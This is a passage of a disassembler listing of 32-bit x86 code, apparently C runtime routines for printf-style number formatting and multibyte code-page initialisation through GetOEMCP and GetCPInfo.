; ---------------------------------------------------------------------------


loc_41FFC3:				; CODE XREF: sub_41FD3F+212j
					; sub_41FD3F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41FFCD:				; CODE XREF: sub_41FD3F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_4200B1
		mov	[ebp+var_10], 6
		jmp	loc_4200BF
; ---------------------------------------------------------------------------


loc_41FFEE:				; CODE XREF: sub_41FD3F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41FFFA
		or	byte ptr [ebp+var_4+1],	8


loc_41FFFA:				; CODE XREF: sub_41FD3F+2B5j
					; sub_41FD3F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_420041
		call	sub_42053B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_424523
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_420054
		mov	[ebp+var_28], 1
		jmp	short loc_420054
; ---------------------------------------------------------------------------


loc_42002B:				; CODE XREF: sub_41FD3F+1FBj
		sub	eax, 5Ah
		jz	short loc_420062
		sub	eax, 9
		jz	short loc_41FFFA
		dec	eax
		jz	loc_420224
		jmp	loc_420349
; ---------------------------------------------------------------------------


loc_420041:				; CODE XREF: sub_41FD3F+2C5j
		call	sub_42051E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_420054:				; CODE XREF: sub_41FD3F+2E1j
					; sub_41FD3F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_420349
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_41FD3F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42051E
		test	eax, eax
		pop	ecx
		jz	short loc_4200A3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_4200A3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_420094
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_420349
; ---------------------------------------------------------------------------


loc_420094:				; CODE XREF: sub_41FD3F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_420346
; ---------------------------------------------------------------------------


loc_4200A3:				; CODE XREF: sub_41FD3F+32Fj
					; sub_41FD3F+336j
		mov	eax, off_43F830
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_42013F
; ---------------------------------------------------------------------------


loc_4200B1:				; CODE XREF: sub_41FD3F+29Dj
		jnz	short loc_4200BF
		cmp	bl, 67h
		jnz	short loc_4200BF
		mov	[ebp+var_10], 1


loc_4200BF:				; CODE XREF: sub_41FD3F+2AAj
					; sub_41FD3F:loc_4200B1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43FBC0
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_420111
		cmp	[ebp+var_10], 0
		jnz	short loc_420111
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43FBCC
		pop	ecx


loc_420111:				; CODE XREF: sub_41FD3F+3BCj
					; sub_41FD3F+3C2j
		cmp	bl, 67h
		jnz	short loc_420128
		test	esi, esi
		jnz	short loc_420128
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43FBC4
		pop	ecx


loc_420128:				; CODE XREF: sub_41FD3F+3D5j
					; sub_41FD3F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_42013E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_42013E:				; CODE XREF: sub_41FD3F+3F0j
		push	edi


loc_42013F:				; CODE XREF: sub_41FD3F+36Dj
		call	sub_41B650
		pop	ecx
		jmp	loc_420346
; ---------------------------------------------------------------------------


loc_42014A:				; CODE XREF: sub_41FD3F+1E9j
		sub	eax, 69h
		jz	loc_420224
		sub	eax, 5
		jz	loc_4201FA
		dec	eax
		jz	loc_4201E7
		dec	eax
		jz	short loc_4201B7
		sub	eax, 3
		jz	loc_41FF6C
		dec	eax
		dec	eax
		jz	loc_420228
		sub	eax, 3
		jnz	loc_420349
		mov	[ebp+var_2C], 27h
		jmp	short loc_4201C5
; ---------------------------------------------------------------------------


loc_420189:				; CODE XREF: sub_41FD3F+270j
					; sub_41FD3F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_420346
; ---------------------------------------------------------------------------


loc_420192:				; CODE XREF: sub_41FD3F+24Fj
		test	ecx, ecx
		jnz	short loc_42019F
		mov	ecx, off_43F830
		mov	[ebp+var_8], ecx


loc_42019F:				; CODE XREF: sub_41FD3F+455j
		mov	eax, ecx


loc_4201A1:				; CODE XREF: sub_41FD3F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_4201B0
		cmp	byte ptr [eax],	0
		jz	short loc_4201B0
		inc	eax
		jmp	short loc_4201A1
; ---------------------------------------------------------------------------


loc_4201B0:				; CODE XREF: sub_41FD3F+467j
					; sub_41FD3F+46Cj
		sub	eax, ecx
		jmp	loc_420346
; ---------------------------------------------------------------------------


loc_4201B7:				; CODE XREF: sub_41FD3F+425j
		mov	[ebp+var_10], 8


loc_4201BE:				; CODE XREF: sub_41FD3F+201j
		mov	[ebp+var_2C], 7


loc_4201C5:				; CODE XREF: sub_41FD3F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_42022F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_42022F
; ---------------------------------------------------------------------------


loc_4201E7:				; CODE XREF: sub_41FD3F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_42022F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_42022F
; ---------------------------------------------------------------------------


loc_4201FA:				; CODE XREF: sub_41FD3F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42051E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_420213
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_420213:				; CODE XREF: sub_41FD3F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_420218:				; CODE XREF: sub_41FD3F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_420447	; default
; ---------------------------------------------------------------------------


loc_420224:				; CODE XREF: sub_41FD3F+2F7j
					; sub_41FD3F+40Ej
		or	[ebp+var_4], 40h


loc_420228:				; CODE XREF: sub_41FD3F+432j
		mov	[ebp+var_C], 0Ah


loc_42022F:				; CODE XREF: sub_41FD3F+491j
					; sub_41FD3F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_420241
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_42052B
		pop	ecx
		jmp	short loc_420282
; ---------------------------------------------------------------------------


loc_420241:				; CODE XREF: sub_41FD3F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_420268
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42025D
		call	sub_42051E
		pop	ecx
		movsx	eax, ax


loc_42025A:				; CODE XREF: sub_41FD3F+527j
					; sub_41FD3F+539j
		cdq
		jmp	short loc_420282
; ---------------------------------------------------------------------------


loc_42025D:				; CODE XREF: sub_41FD3F+510j
		call	sub_42051E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_42025A
; ---------------------------------------------------------------------------


loc_420268:				; CODE XREF: sub_41FD3F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_42027A
		call	sub_42051E
		pop	ecx
		jmp	short loc_42025A
; ---------------------------------------------------------------------------


loc_42027A:				; CODE XREF: sub_41FD3F+531j
		call	sub_42051E
		pop	ecx
		xor	edx, edx


loc_420282:				; CODE XREF: sub_41FD3F+500j
					; sub_41FD3F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4202A3
		test	edx, edx
		jg	short loc_4202A3
		jl	short loc_420292
		test	eax, eax
		jnb	short loc_4202A3


loc_420292:				; CODE XREF: sub_41FD3F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4202A7
; ---------------------------------------------------------------------------


loc_4202A3:				; CODE XREF: sub_41FD3F+547j
					; sub_41FD3F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4202A7:				; CODE XREF: sub_41FD3F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4202B0
		and	edi, 0


loc_4202B0:				; CODE XREF: sub_41FD3F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4202BF
		mov	[ebp+var_10], 1
		jmp	short loc_4202C3
; ---------------------------------------------------------------------------


loc_4202BF:				; CODE XREF: sub_41FD3F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4202C3:				; CODE XREF: sub_41FD3F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4202CD
		and	[ebp+var_1C], 0


loc_4202CD:				; CODE XREF: sub_41FD3F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4202D3:				; CODE XREF: sub_41FD3F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4202E3
		mov	eax, esi
		or	eax, edi
		jz	short loc_42031E


loc_4202E3:				; CODE XREF: sub_41FD3F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DB20
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DAB0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_420314
		add	ebx, [ebp+var_2C]


loc_420314:				; CODE XREF: sub_41FD3F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4202D3
; ---------------------------------------------------------------------------


loc_42031E:				; CODE XREF: sub_41FD3F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_420349
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_42033C
		test	eax, eax
		jnz	short loc_420349


loc_42033C:				; CODE XREF: sub_41FD3F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_420346:				; CODE XREF: sub_41FD3F+35Fj
					; sub_41FD3F+406j ...
		mov	[ebp+var_C], eax


loc_420349:				; CODE XREF: sub_41FD3F+21Bj
					; sub_41FD3F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_420447	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_420381
		test	bh, 1
		jz	short loc_420366
		mov	[ebp+var_16], 2Dh
		jmp	short loc_42037A
; ---------------------------------------------------------------------------


loc_420366:				; CODE XREF: sub_41FD3F+61Fj
		test	bl, 1
		jz	short loc_420371
		mov	[ebp+var_16], 2Bh
		jmp	short loc_42037A
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_41FD3F+62Aj
		test	bl, 2
		jz	short loc_420381
		mov	[ebp+var_16], 20h


loc_42037A:				; CODE XREF: sub_41FD3F+625j
					; sub_41FD3F+630j
		mov	[ebp+var_1C], 1


loc_420381:				; CODE XREF: sub_41FD3F+61Aj
					; sub_41FD3F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4203A1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4204B5
		add	esp, 10h


loc_4203A1:				; CODE XREF: sub_41FD3F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4204E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4203D3
		test	bl, 4
		jnz	short loc_4203D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4204B5
		add	esp, 10h


loc_4203D3:				; CODE XREF: sub_41FD3F+67Bj
					; sub_41FD3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42041A
		cmp	[ebp+var_C], 0
		jle	short loc_42041A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4203E8:				; CODE XREF: sub_41FD3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424523
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42042F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4204E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4203E8
		jmp	short loc_42042F
; ---------------------------------------------------------------------------


loc_42041A:				; CODE XREF: sub_41FD3F+698j
					; sub_41FD3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4204E6
		add	esp, 10h


loc_42042F:				; CODE XREF: sub_41FD3F+6BCj
					; sub_41FD3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420447 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4204B5
		add	esp, 10h


loc_420447:				; CODE XREF: sub_41FD3F+68j
					; sub_41FD3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FD6B


loc_420458:				; CODE XREF: sub_41FD3F+1Fj
					; sub_41FD3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FD3F	endp

; ---------------------------------------------------------------------------
off_420460	dd offset loc_41FEDE	; DATA XREF: sub_41FD3F+6Er
		dd offset loc_41FDB4	; jump table for switch	statement
		dd offset loc_41FDCF
		dd offset loc_41FE1B
		dd offset loc_41FE52
		dd offset loc_41FE5A
		dd offset loc_41FE8F
		dd offset loc_41FF22

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420480	proc near		; CODE XREF: sub_41FD3F+1BDp
					; sub_41FD3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420499
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4204A4
; ---------------------------------------------------------------------------


loc_420499:				; CODE XREF: sub_420480+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FC2A
		pop	ecx
		pop	ecx


loc_4204A4:				; CODE XREF: sub_420480+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4204B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4204B1:				; CODE XREF: sub_420480+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420480	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204B5	proc near		; CODE XREF: sub_41FD3F+65Ap
					; sub_41FD3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4204E3
		mov	esi, [esp+8+arg_C]


loc_4204C6:				; CODE XREF: sub_4204B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420480
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4204E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4204C6


loc_4204E3:				; CODE XREF: sub_4204B5+Bj
					; sub_4204B5+25j
		pop	edi
		pop	esi
		retn
sub_4204B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204E6	proc near		; CODE XREF: sub_41FD3F+670p
					; sub_41FD3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42051A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4204FC:				; CODE XREF: sub_4204E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420480
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42051A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4204FC


loc_42051A:				; CODE XREF: sub_4204E6+Cj
					; sub_4204E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4204E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42051E	proc near		; CODE XREF: sub_41FD3F+E5p
					; sub_41FD3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42051E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42052B	proc near		; CODE XREF: sub_41FD3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42052B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42053B	proc near		; CODE XREF: sub_41FD3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42053B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420549	proc near		; CODE XREF: sub_42090D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4206E2	; GetOEMCP
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DFA24
		mov	[ebp+arg_0], esi
		jz	loc_4206D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4206CC
		xor	edx, edx
		mov	eax, offset dword_43F840


loc_42057D:				; CODE XREF: sub_420549+41j
		cmp	[eax], esi
		jz	short loc_4205F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43F930
		jl	short loc_42057D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	dword_428068	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4206C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DFB40
		cmp	[ebp+var_18], 1
		mov	dword_4DFA24, esi
		rep stosd
		stosb
		mov	dword_4DFC44, ebx
		jbe	loc_4206B2
		cmp	[ebp+var_12], 0
		jz	loc_420688
		lea	ecx, [ebp+var_11]


loc_4205D0:				; CODE XREF: sub_420549+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420688
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4205E1:				; CODE XREF: sub_420549+A8j
		cmp	eax, edx
		ja	loc_42067C
		or	byte_4DFB41[eax], 4
		inc	eax
		jmp	short loc_4205E1
; ---------------------------------------------------------------------------


loc_4205F3:				; CODE XREF: sub_420549+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DFB40
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43F850[esi]


loc_42060F:				; CODE XREF: sub_420549+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420642


loc_420616:				; CODE XREF: sub_420549+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420642
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42063B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43F838[edx]


loc_420630:				; CODE XREF: sub_420549+F0j
		or	byte_4DFB41[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420630


loc_42063B:				; CODE XREF: sub_420549+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420616


loc_420642:				; CODE XREF: sub_420549+CBj
					; sub_420549+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42060F
		mov	eax, [ebp+arg_0]
		mov	dword_4DFA3C, 1
		push	eax
		mov	dword_4DFA24, eax
		call	sub_42072C
		lea	esi, dword_43F844[esi]
		mov	edi, offset dword_4DFA30
		movsd
		movsd
		pop	ecx
		mov	dword_4DFC44, eax
		movsd
		jmp	short loc_4206D1
; ---------------------------------------------------------------------------


loc_42067C:				; CODE XREF: sub_420549+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4205D0


loc_420688:				; CODE XREF: sub_420549+7Ej
					; sub_420549+8Bj
		push	1
		pop	eax


loc_42068B:				; CODE XREF: sub_420549+14Fj
		or	byte_4DFB41[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42068B
		push	esi
		call	sub_42072C
		pop	ecx
		mov	dword_4DFC44, eax
		mov	dword_4DFA3C, 1
		jmp	short loc_4206B8
; ---------------------------------------------------------------------------


loc_4206B2:				; CODE XREF: sub_420549+74j
		mov	dword_4DFA3C, ebx


loc_4206B8:				; CODE XREF: sub_420549+167j
		xor	eax, eax
		mov	edi, offset dword_4DFA30
		stosd
		stosd
		stosd
		jmp	short loc_4206D1
; ---------------------------------------------------------------------------


loc_4206C4:				; CODE XREF: sub_420549+51j
		cmp	dword_4DE650, ebx
		jz	short loc_4206DA


loc_4206CC:				; CODE XREF: sub_420549+27j
		call	sub_42075F


loc_4206D1:				; CODE XREF: sub_420549+131j
					; sub_420549+179j
		call	sub_420788


loc_4206D6:				; CODE XREF: sub_420549+1Dj
		xor	eax, eax
		jmp	short loc_4206DD
; ---------------------------------------------------------------------------


loc_4206DA:				; CODE XREF: sub_420549+181j
		or	eax, 0FFFFFFFFh


loc_4206DD:				; CODE XREF: sub_420549+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420549	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E2	proc near		; CODE XREF: sub_420549+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DE650, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420702
		mov	dword_4DE650, 1
		jmp	dword_428060
; ---------------------------------------------------------------------------


loc_420702:				; CODE XREF: sub_4206E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420717
		mov	dword_4DE650, 1
		jmp	dword_428064
; ---------------------------------------------------------------------------


loc_420717:				; CODE XREF: sub_4206E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42072B
		mov	eax, dword_4DE694
		mov	dword_4DE650, 1

locret_42072B:				; CODE XREF: sub_4206E2+38j
		retn
sub_4206E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072C	proc near		; CODE XREF: sub_420549+118p
					; sub_420549+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420759
		sub	eax, 4
		jz	short loc_420753
		sub	eax, 0Dh
		jz	short loc_42074D
		dec	eax
		jz	short loc_420747
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420747:				; CODE XREF: sub_42072C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42074D:				; CODE XREF: sub_42072C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420753:				; CODE XREF: sub_42072C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420759:				; CODE XREF: sub_42072C+9j
		mov	eax, 411h
		retn
sub_42072C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42075F	proc near		; CODE XREF: sub_420549:loc_4206CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DFB40
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DFA30
		mov	dword_4DFA24, eax
		mov	dword_4DFA3C, eax
		mov	dword_4DFC44, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42075F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420788	proc near		; CODE XREF: sub_420549:loc_4206D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DFA24
		call	dword_428068	; GetCPInfo
		cmp	eax, 1
		jnz	loc_4208C1
		xor	eax, eax
		mov	esi, 100h


loc_4207B2:				; CODE XREF: sub_420788+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4207B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420803
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4207D1:				; CODE XREF: sub_420788+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4207F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4207F8:				; CODE XREF: sub_420788+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4207D1
		pop	edi
		pop	ebx


loc_420803:				; CODE XREF: sub_420788+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DFC44
		push	dword_4DFA24
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4243B4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DFA24
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DFC44
		call	sub_42316A
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DFA24
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DFC44
		call	sub_42316A
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_42087E:				; CODE XREF: sub_420788+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_42089C
		or	byte_4DFB41[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420894:				; CODE XREF: sub_420788+127j
		mov	byte_4DFA40[eax], dl
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_42089C:				; CODE XREF: sub_420788+FCj
		test	dl, 2
		jz	short loc_4208B1
		or	byte_4DFB41[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420894
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420788+117j
		and	byte_4DFA40[eax], 0


loc_4208B8:				; CODE XREF: sub_420788+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_42087E
		jmp	short loc_42090A
; ---------------------------------------------------------------------------


loc_4208C1:				; CODE XREF: sub_420788+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_4208C8:				; CODE XREF: sub_420788+180j
		cmp	eax, 41h
		jb	short loc_4208E6
		cmp	eax, 5Ah
		ja	short loc_4208E6
		or	byte_4DFB41[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_4208DE:				; CODE XREF: sub_420788+174j
		mov	byte_4DFA40[eax], cl
		jmp	short loc_420905
